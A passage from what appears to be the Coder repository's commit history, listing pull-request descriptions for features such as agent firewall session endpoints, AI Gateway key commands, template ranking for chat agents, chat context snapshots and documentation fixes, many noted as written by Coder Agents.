@mattvollmer. --------- Co-authored-by: blink-so[bot] <211532188+blink-so[bot]@users.noreply.github.com> Co-authored-by: Matt Vollmer <matthewjvollmer@outlook.com> Co-authored-by: Atif Ali <atif@coder.com> |
||
|
|
491a75294e |
feat: GET /api/v2/agent-firewall/sessions/{id} (#24814)
Add a GET endpoint at `/api/v2/agent-firewall/sessions/{id}` that
returns agent firewall session metadata (`id`, `workspace_id`,
`owner_id`, `confined_process`, `started_at`). The handler authorizes
against the `boundary_log` resource with `ActionRead` via dbauthz.
The endpoint is enterprise-only, gated behind the `FeatureBoundary`
entitlement.
The `GetBoundarySessionByID` SQL query JOINs through `workspace_agents`
→ `workspace_resources` → `workspace_builds` → `workspaces` to return
`workspace_id` and `workspace_owner_id` directly, avoiding a separate
query.
Also adds an `owner_id` column to the `boundary_logs` table (migration
000526) with a FK to `users(id)` and a backfill from
`boundary_sessions`. This enables user-scoped RBAC authorization for
`InsertBoundaryLogs` via `.WithOwner()`, ensuring workspace agents can
only insert logs for their own owner.
Depends on #24810
**RBAC behaviour:**
| Role | Result |
|---------|--------|
| Owner | read |
| Auditor | read |
| Member | 404 |
> [!NOTE]
> This PR was authored by Coder Agents.
|
||
|
|
0dbe0442f0 |
feat: add CLI commands to manage AI Gateway keys (#25689)
Adds `coder ai-gateway keys` commands: * `create <name>` creates key with given name * `list` lists existing keys (alias `ls`) * `delete <name | id>` removes key matching by name or key id, name has priority (alias `rm`) |
||
|
|
bc44cdda75 |
feat: rank chat workspace templates (#25037)
closes CODAGT-203
## Summary
`list_templates` now returns a ranked shortlist with a recommendation,
so the chat agent can pick the right template the way a colleague would:
prefer what matches the request, what the user already uses, and what
the rest of the organization uses. Instead of teaching the model an enum
protocol in prompts, every result carries a fixed `next_step`
instruction telling the agent what to do.
## How list_templates works
1. **Fetch**: active, non-deprecated templates in the chat's
organization, filtered by the admin template allowlist, authorized as
the chat owner (no system escalation).
2. **Query relevance** (optional `query` argument): each template
receives the highest tier any of its fields matches, and a higher tier
always outranks a lower one regardless of usage:
| Tier | Match |
|------|-------|
| 4 | name or display name equals the query |
| 3 | name or display name starts with the query |
| 2 | name or display name contains the query |
| 1 | description contains the query (checked only when no name field
matched) |
| 0 | no match; the template is excluded |
Matching is case-insensitive and ignores spaces/hyphens/underscores
(`python gpu` matches `python-gpu`).
3. **Usage signals**: a new `GetTemplateRankingSignalsByOwnerID` query
returns, per template, the owner's active and recently-deleted workspace
counts within a 60-day window, the last in-window usage, and the count
of distinct developers with an active workspace (unclaimed prebuilds
excluded).
4. **Affinity score** (computed in Go, per template, from that
template's signals only):
```text
affinity = 10 x (active + 0.5 x deleted) x 0.5^(days_since_last_use /
14)
+ ln(1 + active_developers)
```
`active`/`deleted` are the owner's in-window workspace counts,
`days_since_last_use` is measured from the most recent in-window usage
(the personal term is zero without in-window usage), and
`active_developers` is the org-wide count. Personal usage carries 10x
the weight of org popularity; the confidence floor is the score of two
active developers (`ln 3`) and the required lead over the runner-up is
`ln 3 - ln 2`.
5. **Rank**: query tier first (when a query is present), then affinity
score, then name/ID for determinism. Results paginate 10 per page with
`next_page` present only when more exist.
## Recommendation contract
The result tells the agent what to do next instead of describing
confidence levels:
- `recommended_template_id` is present only when the top template is a
clear winner: the only available template, a decisive query match, or an
affinity score that clears a floor and leads the runner-up by a derived
margin.
- `next_step` is always present and is one of four fixed sentences: use
the recommendation, ask the user to choose, retry a query that matched
nothing, or report that no templates are available.
Per-template items carry raw evidence (`active_developers`,
`your_workspace_count`, `last_used_by_you`) rather than derived labels.
When signals fail to load, the tool logs and degrades to asking the user
unless the query alone is decisive.
Prompts and the `create_workspace`/`read_template` descriptions
reference the field through the `chattool.NextStepField` constant, so
the instruction lives in one place and cannot drift. `create_workspace`
remains idempotent and allowlist-enforced.
## Authorization
The signals query runs with the chat owner's permissions: reading the
owner's own workspaces plus a template-metadata read for the cross-user
popularity count. dbauthz rejects the call if any requested template is
not readable by the owner (covered by allow and deny method tests).
## Docs
Adds `docs/ai-coder/agents/tools/` explaining how agent tool calls work,
with `list_templates` ranking and the `next_step` contract as the first
documented tools.
|
||
|
|
9b847cc5ab | feat: support "me" with shared_with_user filter (#26494) | ||
|
|
2f0bb657e2 | docs: note Database Encryption coverage for user secrets (#26435) | ||
|
|
9d0ab594fb | chore: unhide 'scim-use-legacy' flag (#26465) | ||
|
|
87de6dc23e | feat: add base template variables to API (#26425) | ||
|
|
d00958d464 |
chore: improve AI Gateway Proxy documentation (#26269)
Adds diagram showing how AI Bridge Proxy works in tunnel and MITM modes. diagram showing how AI Bridge Proxy integrates with upstream proxies. Extends Troubleshooting section. Adds a registry link for the AI Bridge Proxy module for Coder workspaces. |
||
|
|
45dcd7edfc |
docs: document coder exp sync list in startup coordination guides (#26454)
Follow-up to #26443. Documents the new `coder exp sync list` command in the startup coordination guides. **troubleshooting.md:** - New "List All Units" section after "Check Unit Status" with example output - Added `coder exp sync list` to the "Workspace startup script hangs" checklist, since users debugging hanging scripts may not know which unit to query **usage.md:** - New "Inspect Unit State" section covering `list`, `status`, and `ping` - Updated "Test your changes" checklist to reference `coder exp sync list` > Generated by Coder Agents on behalf of @SasSwart |
||
|
|
182bdc871a |
docs: scaffold docs/.style for the prose style guide (#25466)
Adds a private contributor-tooling directory at `docs/.style/` that will host the canonical prose style guide and the custom Vale rules used to enforce it. The directory's contents do not deploy to `coder.com/docs`. This PR is the scaffold only. The Vale configuration, the rule set, and the per-rule style-guide sections all land in follow-up PRs. ## What changes - New `docs/.style/` directory with: - `README.md` explaining the convention - `style-guide.md` as a table-of-contents scaffold - `styles/Coder/README.md` placeholder so Git tracks the empty Vale rules dir - `.github/workflows/deploy-docs.yaml`: skip the workflow on `.style`-only pushes, and exclude `.style` paths from the surgical-reindex git diff on mixed commits. Defense-in-depth on top of the manifest-driven coder.com routing. - `.github/.linkspector.yml`: add `docs/.style` to `excludedDirs` - `AGENTS.md` and `.claude/docs/DOCS_STYLE_GUIDE.md`: cross-link to the new style guide for agents ## Verification - `make pre-commit-light` clean (`fmt/markdown`, `lint/markdown`, `lint/typos`, `lint/emdash`, `lint/actions/actionlint`, `lint/shellcheck`). - `markdown-table-formatter --check` and `markdownlint-cli2` both process the new files (existing globs are `find docs -name '*.md'`). - `actionlint` clean on the modified workflow. - coder.com exclusion works because route discovery and Algolia indexing are manifest-driven; this directory is not in `docs/manifest.json`. The workflow changes are defense in depth. <details> <summary>Implementation plan and decision log</summary> ### Decisions - **Location**: `docs/.style/` (leading dot, mirrors `.github/`, `.vscode/`, `.claude/`). Vale's `StylesPath` will be `docs/.style/styles/`; `.vale.ini` lands at repo root in a follow-up. - **Existing public page `docs/about/contributing/documentation.md`**: untouched in this PR. Nick's separate information-architecture rework will redirect it to GitHub at the right time. - **Placeholder for empty `styles/Coder/`**: real `README.md`, not `.gitkeep`. Discoverable on GitHub, lints with the existing tooling, lists the planned starter rules. - **CONTRIBUTING.md**: not touched. It's a 2-line redirect to `coder.com/docs/CONTRIBUTING`; bloating it would defeat the redirect. - **`.claude/docs/DOCS_STYLE_GUIDE.md`**: kept as the structure/research companion. A blockquote at the top points at the new canonical prose guide. ### coder.com exclusion mechanism (verified by inspection) Direct inspection of `coder/coder.com`: - Route discovery in [`src/utils/docs/docs.ts`](https://github.com/coder/coder.com/blob/master/src/utils/docs/docs.ts) iterates `routes` from `docs/manifest.json`. Files not in the manifest never become routes. - The Algolia surgical indexer at [`src/utils/algoliaDocs/surgical.ts`](https://github.com/coder/coder.com/blob/master/src/utils/algoliaDocs/surgical.ts) explicitly skips paths not in the manifest, incrementing `pathsSkipped`. Net result: not adding anything from `docs/.style/` to `manifest.json` is the only thing that has to be true for the exclusion to work. The `deploy-docs.yaml` tweaks are defense in depth. ### deploy-docs.yaml changes (pre-mortem) 1. Trigger path negation `!docs/.style/**` skips the workflow on `.style`-only pushes. GitHub Actions only suppresses when every changed file matches a negation, so mixed commits still trigger. 2. The git-diff pathspec `:(exclude)docs/.style/**` drops `.style` paths from the surgical-reindex payload on mixed commits. Risks considered: - **Test contract**: `.github/workflows/test-deploy-docs-diff.sh` only exercises the downstream awk parser, not the git-diff invocation. The exclusion happens at git-diff time; the parser sees the same `<status>\0<path>\0` format. No test change needed. - **First push to a brand-new branch**: the workflow falls back to whole-branch reindex when `BEFORE_SHA` is all zeros. Whole-branch reindex re-extracts records from the manifest, which still excludes `.style` files because they are not in the manifest. - **Workflow-dispatch**: takes the whole-branch path; same reasoning. Safe. ### Why a real README in `styles/Coder/` instead of `.gitkeep` It explains intent, lists the upcoming rules, and lints with the existing tooling. The cost is one extra Markdown file; the upside is that a contributor browsing GitHub sees the plan without clicking around. </details> --- *Filed via [Coder Agents](https://coder.com/docs/ai-coder/agents) on Nick's behalf.* Linear: DOCS-180 |
||
|
|
8d725969bf |
chore!: remove coder agents insights page (#26457)
Removes the coder agents PR Insights page (`/agents/settings/insights`) and all of its backend support. The page had previously been hidden and was only reachable via deep link. It had previously been hidden due to the dubious value provided in the current iteration. |
||
|
|
f1ce1013c4 |
chore: export AI Gateway metrics under new branding + keep old as alias (#26413)
> AI Tools where used in this request. Registers `coder_aibridged_*` and `coder_aibridgeproxyd_*` metrics under new prefixes: `coder_ai_gateway_*` and `coder_ai_gateway_proxy_*`. Old prefix is still exported. Will be removed in later release. Also updated the `metricsdocgen` static fixture. Added 4 previously-undocumented metrics `key_pool_state`, `key_pool_state_transitions_total`, `key_pool_exhaustions_total`, `key_pool_failover_attempts` added the `client` label to the existing interception, prompt, and token counter samples. Updated AI Gateway documentation. |
||
|
|
d638b1aaed |
chore: gate Coder Agents app and port tabs behind experiment (#26395)
The workspace-app and port preview tabs in the Coder Agents right panel
were previously gated behind a `devel` prerelease build check, which
can't be toggled in real deployments.
This replaces that check with a proper `agent-app-tabs` deployment
experiment, registered in `ExperimentsKnown`, so the feature can be
enabled via `CODER_EXPERIMENTS=agent-app-tabs` like any other
experiment. The frontend now reads
`experiments.includes("agent-app-tabs")` from the dashboard instead of
`getPrereleaseFlag(buildInfo) === "devel"`.
Depends on #26208
|
||
|
|
0e45ded0ed |
feat: deployment flag to auto handle changed oidc providers (#26419)
An opt-out flag exists as an escape hatch closes https://linear.app/codercom/issue/PLAT-343/automatically-reset-user-link-for-affected-users-when-idp-provider |
||
|
|
1d03e63f4f | feat: implement package and cli tool for repairing oidc links (#26418) | ||
|
|
bca0ce04ca |
feat: integrate agent context snapshots into chats (#26389)
Makes the chat context foundation from #26385 live. That PR added the storage columns, writer queries, and a dormant `agentapi.ContextDirtyMarker` trigger with no production callers; this PR wires them together end to end. When a workspace agent pushes a context snapshot, bound chats now hydrate to that snapshot's hash, and a later push with a different hash flips already-pinned chats to dirty (emitting a `context_dirty` watch event after the transaction commits). Chat creation pins the agent's latest snapshot when one already exists. The experimental chat API exposes this as `Chat.Context` (`*ChatContext` with `dirty`, `dirty_since`, `error`), and a new `PUT /api/experimental/chats/{chat}/context` endpoint re-pins the agent's latest snapshot and clears the dirty marker. `context_dirty_resources` stays NULL (the resource-level diff is deferred to the UI phase) and the live per-turn context pull is unchanged. The end-to-end test provisions a workspace agent via the echo provisioner, connects it over the Agent API v2.10, and exercises the full path: an initial push hydrates a bound chat (clean), a second push with a different hash marks it dirty, the API reports the dirty state, and the refresh endpoint clears it. <details> <summary>Decision log</summary> - **API shape — sub-struct.** Dirty state is surfaced as `codersdk.Chat.Context *ChatContext { Dirty bool; DirtySince *time.Time; Error string }` rather than flat fields, matching the RFC's named `ChatContext` type and leaving room for future fields (resource diff, sources). `db2sdk.Chat` populates it when the chat is context-tracked (`len(ContextAggregateHash) > 0`), dirty, or carries a snapshot error, and leaves it nil (`omitempty`) otherwise. `Dirty` mirrors `context_dirty_since` being set. - **Marker wiring.** The chat daemon is injected directly as the `agentapi.ContextDirtyMarker`. It is unconditionally constructed (only its background worker is gated), so the marker is always non-nil and the wiring matches every other `api.chatDaemon` call site. `agentapi` still treats a nil marker as "chatd absent", so `PushContextState` stays a pure write path for any future caller that does not wire chatd in. - **Refresh is atomic.** `RefreshChatContext` reads the agent's latest snapshot and re-pins the chat in one repeatable-read transaction, so a concurrent push cannot land between the read and the write and leave the chat pinned to a stale hash with the dirty marker cleared. - **Hydrate + dirty run inside the push transaction.** The fan-out shares the push's transaction so a concurrent refresh cannot interleave with the version gate; `context_dirty` watch events publish only after commit. The pinned hash on dirtied chats is intentionally left unchanged — the refresh endpoint re-pins it. - **Dirtied chats keep their pinned hash.** Drift is advisory: a dirty chat stays usable, and refreshing is the only path that advances the pinned hash. - **Test binds `chats.agent_id` directly.** In production the binding is set lazily during a chat turn (`chatd.persistBuildAgentBinding`); the test sets it via `dbgen` so it exercises the context flow rather than turn resolution. Plan: `coderd/x/chatd` context integration + E2E (sub-struct API, create-time + push-time hydration, refresh endpoint; `context_dirty_resources` and the per-turn pull untouched). </details> 🤖 Generated by Coder Agents on behalf of @kylecarbs |
||
|
|
2716e2181c |
feat: purge boundary logs past retention (#24815)
Add a periodic purge job for `boundary_logs` rows past their retention threshold, following the same pattern as the existing audit log and connection log purge jobs in `dbpurge`. Expose a `--boundary-log-retention` deployment flag (env `CODER_BOUNDARY_LOG_RETENTION`, YAML `retention.boundary_logs`). Default is `0` (keep indefinitely). When set to a positive duration, `purgeTick` deletes rows where `captured_at` is older than the threshold in batches of 10,000, matching other log purge operations. The `boundary_logs` label is added to the `records_purged_total` Prometheus counter. Also removes the random-UUID fallback for `OwnerID` in `dbgen.BoundarySession`. The previous fallback generated a UUID that could never satisfy the `boundary_sessions_owner_id_fkey` FK constraint, masking test setup bugs. Callers must now provide a valid user ID or accept NULL (the legitimate "user deleted" state). |
||
|
|
12d7ad6100 |
feat: add ai-gateway-cost-control experiment flag (#26399)
Adds the `ai-gateway-cost-control` experiment flag to gate new cost
control endpoints and upcoming frontend UI behind an explicit opt-in.
Currently AI Gateway cost control supports the following endpoints:
- `GET/PUT/DELETE /api/v2/organizations/{org}/groups/{group}/ai/budget`
- `GET/PUT/DELETE /api/v2/users/{user}/ai/budget`
Note: the group-level endpoints were already released in v2.34.0 and
remain ungated. Only the user-level endpoints are gated behind this
experiment. Future cost control endpoints and UI should use this
experiment for gating until the feature is stable.
> Generated by Coder Agents on behalf of @ssncferreira
|
||
|
|
a1330e3a8c |
refactor: rename Ai* database identifiers to AI* (AIGOV-369) (#26327)
Adds `ai` to sqlc's `gen.go.initialisms` in `coderd/database/sqlc.yaml` so the generated DB code follows Go's initialism convention. Adds the matching `ai` -> `AI` case to the dbgen PascalCase helper (`scripts/dbgen/main.go`) so the corresponding `dbmem` / mock identifiers stay in sync. `make gen` regenerates the rest; hand-written call sites that consume DB-generated identifiers (`enterprise/audit/table.go`, `coderd/database/modelmethods.go`, `enterprise/coderd/aigatewaykeys.go`, `coderd/database/dbauthz/*`, etc.) are updated to match. Scope is deliberately limited to the database layer: - `coderd/rbac/*` (resource and scope generators) is untouched — `ResourceAi*` / `ScopeAi*` constants stay on main's casing. - `codersdk/*` (Go SDK) is untouched — `codersdk.ResourceAi*` / `codersdk.APIKeyScopeAi*` constants stay on main's casing, so external Go SDK consumers see no source-level break. - `Aibridge*` identifiers (one SQL token `aibridge`, not `ai_bridge`) are out of scope. On-the-wire values are unchanged: enum strings, RBAC resource type strings, API key scope strings, and JSON tags all stay the same. The HTTP/JSON surface is unaffected. Refs: [AIGOV-369](https://linear.app/codercom/issue/AIGOV-369/change-ai-references-in-coderddatabasemodelsgo-to-ai) 🤖 Generated with [Coder Agents](https://coder.com) |
||
|
|
de31c7c18e |
feat: add TemplateBuilderCreateTemplate SDK types and client method (#26360)
Adds `POST /api/v2/templatebuilder/compose/template`, a synchronous endpoint that composes a template from a base and modules, validates it via a provisioner import job, and creates the template in a single request. The handler composes terraform files, bundles them as a tar, inserts the file with hash-based dedup, creates a template version with an import job, waits up to 2 minutes for the job to complete, classifies errors for known failure modes (network-unreachable registry, DNS failures), then creates the template on success. Canceled and failed jobs return appropriate error responses. Also adds `hclwrite.Format` to composed terraform output for canonical HCL formatting. Closes https://linear.app/codercom/issue/DEVEX-279 <details> <summary>Implementation notes</summary> - SDK types and client method in `codersdk/templatebuilder.go` with validation tags matching the standard template creation path (`template_display_name`, `lt=128`) - `ClassifyProvisionerError` in `coderd/templatebuilder/errors.go` detects DNS, connection refused, i/o timeout, and TLS handshake failures and returns actionable messages - `waitForProvisionerJob` polls with a ramp-up interval schedule (100ms, 200ms, 500ms, then 1s steady) and accepts an `onUpdate` callback for future SSE streaming - Audit logging for both template and template version creation - TOCTOU name uniqueness: early check for fast feedback, DB unique constraint catch for the race window (returns 409, not 500) - Swagger annotations for all error responses (400, 404, 409, 504) </details> > 🤖 Generated by Coder Agents |
||
|
|
210261b143 |
feat: add chat context pinning storage and push trigger (#26385)
Foundation for the Workspace Context Sources RFC (phase 3). The agent push (#25983) and coderd snapshot storage (#26145) already persist per-agent context snapshots; this PR lands the **chat-side storage** plus the **`agentapi` push trigger** that a follow-up will use to read them. It does **not** touch `chatd` and changes no behavior — nothing wires an implementation yet. ## What changed - Adds four nullable columns to `chats` — `context_aggregate_hash`, `context_dirty_since`, `context_dirty_resources`, and `context_error` — and rebuilds the `chats_expanded` view. - Adds three queries — `SetChatContextSnapshot`, `HydrateAgentChatsContext`, `MarkChatsContextDirtyByAgent` — with `dbauthz` wrappers and `audit` entries. They are store-interface methods covered by a Postgres test (`TestChatContextHydration`). - Adds the `agentapi.ContextDirtyMarker` interface and invokes it inside the `PushContextState` transaction, publishing collected events only after commit. ## Intentionally inert There are **no production callers** of the three queries and **no implementation** wired for `ContextDirtyMarker`, so the push trigger is dormant. This is deliberate: the PR is the durable storage/query foundation only. The actual integration — the `chatd` implementation that hydrates/dirties chats and backs a refresh endpoint, consuming the pinned context in prompt building, the rich SDK types + UI, and retiring the live per-turn pull — lands as a single follow-up PR. Splitting this way keeps the schema/query layer reviewable on its own and keeps the integration whole in one place. Refs #25983, #26145. <details> <summary>Decision log</summary> - **Columns over a side table.** The four `chats` columns are the durable model (accepting the one-time `chats_expanded` view/CTE churn). `last_injected_context` is deliberately left untouched — it is load-bearing for the live per-turn context pull. - **Keep `agentapi`, drop `chatd`.** The earlier revision wired the hydrate/dirty implementation through `chatd` and added a `PUT /chats/{chat}/context` refresh endpoint. Those were removed so this PR is pure foundation; `agentapi` defines the trigger + interface (it does not import `chatd`), and the `chatd` implementation arrives with the full integration. - **No new experiment flag.** The columns are dark and unread by prompt building. - **Authz.** The new query wrappers authorize chat updates under the chat RBAC object / `ResourceChat`, consistent with the existing system chat mutators. </details> --- 🤖 Generated by Coder Agents on behalf of @kylecarbs. |
||
|
|
b61b62f4b3 |
feat: add POST /api/v2/templatebuilder/compose endpoint (#26351)
> [!NOTE] > This PR was authored by Coder Agents on behalf of @jeremyruppel. Part 4 of DEVEX-277 (POST /api/v2/templatebuilder/compose). Adds the HTTP handler, route wiring, and integration tests for the compose endpoint. The handler accepts a JSON request with a base template ID and optional modules with variable overrides, renders them via `Compose`/`BundleTar`, and returns the tar archive directly with `Content-Type: application/x-tar`. The registry URL comes from the deployment config (`CODER_TEMPLATE_BUILDER_REGISTRY_URL`). RBAC uses `policy.ActionCreate` on `rbac.ResourceTemplate.AnyOrganization()`. Integration tests cover: base-only compose, base with modules, unknown base/module errors, missing base template ID, and feature-disabled 404. |
||
|
|
28e83471b3 |
docs(docs/ai-coder/agent-firewall): fix firewall examples for claude-code v5.x (#26373)
The Agent Firewall docs had a Terraform example using `enable_boundary = true` on the `claude-code` module at v5.2.0. That input was removed in the v5.x refactor. Update the getting-started and configuration examples to use the standalone `agent-firewall` module (`registry.coder.com/coder/agent-firewall/coder`), which is the correct integration point for v5.x. The config is now passed via `agent_firewall_config` (inline YAML or `file()` reference) instead of a manual `coder_script` that base64-decoded a file into `~/.config/coder_boundary/`. Closes: [REG-13](https://linear.app/codercom/issue/REG-13/docs-example-uses-nonexistent-enable-boundary-input) > Generated by Coder Agents --------- Co-authored-by: Atif Ali <atif@coder.com> |
||
|
|
ba64724f8a |
docs: add canonical content guidelines, close doc-check SKILL gaps (DOCS-332) (#26352)
Closes DOCS-332. ## Summary Add `docs/.style/content-guidelines.md` as the canonical source of truth for what belongs in Coder's docs and what doesn't. Slim `.claude/skills/doc-check/SKILL.md` and reconcile `.claude/docs/DOCS_STYLE_GUIDE.md` so they defer to that canonical file. One-line pointer added from root `AGENTS.md`. ## Problem DOCS-332 cataloged five gaps in the doc-check skill and its sibling AI-facing docs: 1. Two style guides overlapping and contradicting each other on bold and italic conventions. 2. The SKILL had a single "do not comment" class (auto-generated CLI docs); everything else was inferred. Source of sticky-comment noise. 3. Premium signaling split across two files (`(Premium)` H1 suffix in SKILL, `"state": ["premium"]` manifest entry in DOCS_STYLE_GUIDE). 4. The no-emdash rule lived in root `AGENTS.md` and DOCS_STYLE_GUIDE but not in the SKILL. 5. The redirects-live-in-`coder/coder.com:redirects.json` rule lived only in DOCS_STYLE_GUIDE. In parallel, a cross-repo content guidance discussion (June 2026) produced a canonical "what belongs in the docs" document in Notion that disagreed with the existing GitHub guidance in three places: screenshots, "proactive documentation," and in-docs troubleshooting. ## Fix **New canonical file**: `docs/.style/content-guidelines.md`. Translates the canonical content guidance into the repo: - Diátaxis framing. - "Documentation lands with the change" rule with three corollaries (docs in same PR; no docs for unconfirmed features; multi-PR launch exception, present tense, never as a promise). - 7-step quick decision checklist. - "What belongs / what doesn't / routing table" structure. - Screenshot policy: only when the topic would be confusing without it; PHI/PII, secrets, minimal surface area, alt text required. - Premium signaling requires both H1 suffix and `"state": ["premium"]` in `docs/manifest.json`. - Redirects must be added to `coder/coder.com:redirects.json`, never `docs/_redirects`. - Verify-against-code rule with exact RBAC names and full API paths. - Terraform exception for minimal teaching examples. **Slim `.claude/skills/doc-check/SKILL.md`**: defers scope and routing to `docs/.style/content-guidelines.md`. Adds an explicit "What not to comment on" list (Gap 2) covering internal refactors, test-only changes, CI/tooling, dep bumps, and pure code reorganizations. Closes Gaps 3, 4, and 5 in the same pass. **Reconcile `.claude/docs/DOCS_STYLE_GUIDE.md`**: removes the image-driven documentation pattern, the placeholder-screenshot workflow, the "proactive documentation" pattern, and the in-docs troubleshooting H3 pattern. Each is replaced with a short pointer to the canonical guidelines. Prose, formatting, and structural conventions remain; this file continues to cover those. **`AGENTS.md`**: one-line pointer added to the navigation section and the read-when-relevant list. ## What's explicitly out of scope - **Gap 1** (bold and italic reconciliation): deferred to DOCS-186, which will redirect the human-facing `docs/about/contributing/documentation.md` to `docs/.style/style-guide.md` once DOCS-180 lands. - **Prose-rule migration** to `docs/.style/style-guide.md`: handled by DOCS-180. - **doc-check workflow comment-format changes**: deferred (Phase 2 work). - **redirect-suggestion behavior in doc-check**: tracked as DOCS-359. - **Historical predictive-content sweep across `docs/`**: tracked as DOCS-358. ## Known CI notes - This PR will trigger `docs-preview`, which posts a comment with a deep link to the first added Markdown file. The link will 404 because `docs/.style/**` files are not added to `docs/manifest.json` and shouldn't be (the directory is contributor-facing, not published). DOCS-180 negates `docs/.style/**` in the `docs-preview` workflow; once that lands the papercut goes away. Safe to ignore the comment on this PR. - `deploy-docs` will run on merge but is manifest-driven: since `docs/.style/**` files are not in `docs/manifest.json`, the surgical Algolia indexer will skip them and no full Vercel rebuild fires. - `doc-check` will run on this PR; the diff has no user-facing product change, so it should report no documentation impact. ## Review This change is documentation-only and does not modify product code or CI checks in any meaningful way. Per standing instructions this requires a human review; the `/coder-agents-review` bot is **not** triggered. <details> <summary>Implementation plan and decision log</summary> ### Decisions made during scoping 1. **Option B (consolidate)** for DOCS-332: a single canonical content-guidance file instead of distributing fixes back into the existing sibling files. 2. **File location**: `docs/.style/content-guidelines.md`. The rules apply to both humans and AI, so an AI-prefixed naming scheme would mislead. `docs/.style/` is contributor-facing and not published to coder.com per the DOCS-180 convention. 3. **Independent merge**: this PR does not block on DOCS-180. The README in `docs/.style/` is a minimal stub that should merge cleanly with the DOCS-180 README. 4. **Canonical-source model**: GitHub becomes canonical for docs content guidance. The cross-repo source page will be rewritten to point at this file as a follow-up. ### Conflicts resolved | Topic | Old GitHub guidance | New canonical | |----------------|---------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------| | Screenshots | Image-driven sections; placeholders welcome | Use only when topic confusing without; 4 rules (no PHI or PII, no secrets, minimal surface area, alt text) | | Timelessness | "Proactive Documentation" pattern (write ahead, reference PR number) | "Documentation lands with the change" plus 3 corollaries; predictive language banned | | Troubleshooting| In-docs H3 pattern | Routes to Support KB (Pilon); embedded widget under investigation | ### Pre-mortem - **`docs-preview` dead link**: known papercut documented in the CI notes above. - **`deploy-docs` over-fire**: addressed by manifest-driven exclusion; the surgical indexer skips non-manifest paths. - **Merge conflict with DOCS-180 `docs/.style/README.md`**: expected to be small and mechanical. Both PRs introduce the same directory and a "What lives here" table; the merge is "combine the rows". - **Merge conflict with DOCS-186**: none expected. DOCS-186 changes `docs/about/contributing/documentation.md`, which this PR does not touch. ### Follow-up tickets filed - **DOCS-358**: Sweep `docs/` for predictive or proactive content that violates the "docs land with the change" rule. - **DOCS-359**: doc-check suggests `redirects.json` entries on doc renames and moves. </details> --- *Generated via Coder Agents.* |
||
|
|
9a6e348f5d |
feat: add GET /api/v2/templatebuilder/modules endpoint (#26117)
Implement `GET /api/v2/templatebuilder/modules`, which returns the filtered list of modules available for a given base template. Reads from the bundled catalog via `LoadModules()` and applies OS-compatibility filtering based on the `base` query param. Computed variables (e.g. `agent_id`) are excluded from the API response at the `ToSDK()` conversion boundary since they are wired automatically by the builder. The `Computed` field is removed from the SDK type. Adds `CompatibleWithOS()` to `ModuleManifest` for OS filtering. Returns 400 for unknown base IDs and 404 when the template builder is disabled. Depends on #26116 > [!NOTE] > This PR was authored by Coder Agents on behalf of @jeremyruppel. |
||
|
|
776fbfa748 |
feat: add GET /api/v2/templatebuilder/bases endpoint (#26116)
Implement `GET /api/v2/templatebuilder/bases`, which returns the list of base templates available in the template builder. Reads from the bundled catalog by cross-referencing `templatebuilder.BaseTemplateIDs()` with `examples.List()`, enriching each entry with the OS from the `exampleID -> OS` map. The endpoint is gated behind the template builder feature flag (returns 404 when disabled) and requires `policy.ActionRead` on `rbac.ResourceTemplate`. Depends on #26115 > [!NOTE] > This PR was authored by Coder Agents on behalf of @jeremyruppel. |
||
|
|
ba776a61e5 |
docs(docs/ai-coder/ai-gateway): document ChatGPT provider setup for Codex BYOK (#26348)
Following the BYOK (ChatGPT Subscription) instructions in `codex.md` on a deployment without a ChatGPT provider fails with `404 route not supported: POST /chatgpt/v1/responses`. The `/api/v2/aibridge/chatgpt/v1` route only exists when an admin has created a provider named `chatgpt`, and that requirement wasn't documented anywhere. ## Changes - `providers.md`: new **ChatGPT** subsection alongside the other per-provider sections: type `openai`, name must be exactly `chatgpt`, base URL `https://chatgpt.com/backend-api/codex`, no API keys (auth comes from each user's ChatGPT OAuth token via BYOK) - `codex.md`: - prerequisite admonition in the ChatGPT Subscription section linking to the provider setup, with the 404 symptom for troubleshooting - template recipe for the ChatGPT subscription flow (`base_config_toml` + `coder_env` injecting `CODER_API_TOKEN`), since the existing recipe only covers the centralized API key flow - bump the codex module pin from `~> 4.1` to `~> 5.0` (latest is 5.1) ## Verification - All three gaps were hit and the documented configuration verified end-to-end on a live deployment: provider created via the AI Providers API, Codex CLI 0.139.0 authenticated with ChatGPT login, sessions visible in the AI Sessions UI - `pnpm run format-docs` and `pnpm run lint-docs` clean (0 errors), `pre-commit-light` hooks passed Linear: [DOCS-354](https://linear.app/codercom/issue/DOCS-354) 🤖 Generated with Coder Agents on behalf of @bpmct |
||
|
|
e18c86354c |
fix(docs/about/contributing): repoint dead docs-backend-contrib-guide refs to main (DOCS-350) (#26339)
Closes [DOCS-350](https://linear.app/codercom/issue/DOCS-350). ## Problem Three GitHub links in `docs/about/contributing/backend.md` are pinned to a feature branch (`docs-backend-contrib-guide`) that no longer exists in this repo. All three return HTTP 404 on github.com today. | File:line | Link text | Bad URL | |---|---|---| | `docs/about/contributing/backend.md:53` | `cliui` | `https://github.com/coder/coder/tree/docs-backend-contrib-guide/cli/cliui` | | `docs/about/contributing/backend.md:53` | `testdata` | `https://github.com/coder/coder/tree/docs-backend-contrib-guide/cli/testdata` | | `docs/about/contributing/backend.md:75` | `Go functions` | `https://github.com/coder/coder/blob/docs-backend-contrib-guide/coderd/database/queries.sql.go` | ## Fix Repoint each URL's branch segment to `main`. All three targets exist on `main` unchanged. ## Verification ``` $ curl -fsS -o /dev/null -w '%{http_code}\n' https://github.com/coder/coder/tree/main/cli/cliui 200 $ curl -fsS -o /dev/null -w '%{http_code}\n' https://github.com/coder/coder/tree/main/cli/testdata 200 $ curl -fsS -o /dev/null -w '%{http_code}\n' https://github.com/coder/coder/blob/main/coderd/database/queries.sql.go 200 ``` ## Not triggering `/coder-agents-review` Docs-only edit; per `AGENTS.md` the bot review is reserved for product/CI changes. ## Future-state note These three URLs are absolute `(blob|tree)/main` references. They will eventually be flipped to relative paths by [DOCS-351](https://linear.app/codercom/issue/DOCS-351) once the coder.com rewriter classifier fix ([DOCS-349](https://linear.app/codercom/issue/DOCS-349)) ships. Repointing to `main` here is the right interim fix. --- *Generated by Coder Agents on @nickvigilante's behalf.* |
||
|
|
79a28bad72 | feat(site): group shared agents in sidebar (#26328) | ||
|
|
4debd23cbb |
fix: chatd refactor (#26270)
Implements the chatd stabilization RFC. Combines: - https://github.com/coder/coder/pull/25908 - https://github.com/coder/coder/pull/25923 - https://github.com/coder/coder/pull/26109 - https://github.com/coder/coder/pull/26110 - https://github.com/coder/coder/pull/26111 - https://github.com/coder/coder/pull/26112 |
||
|
|
4a07f61c50 |
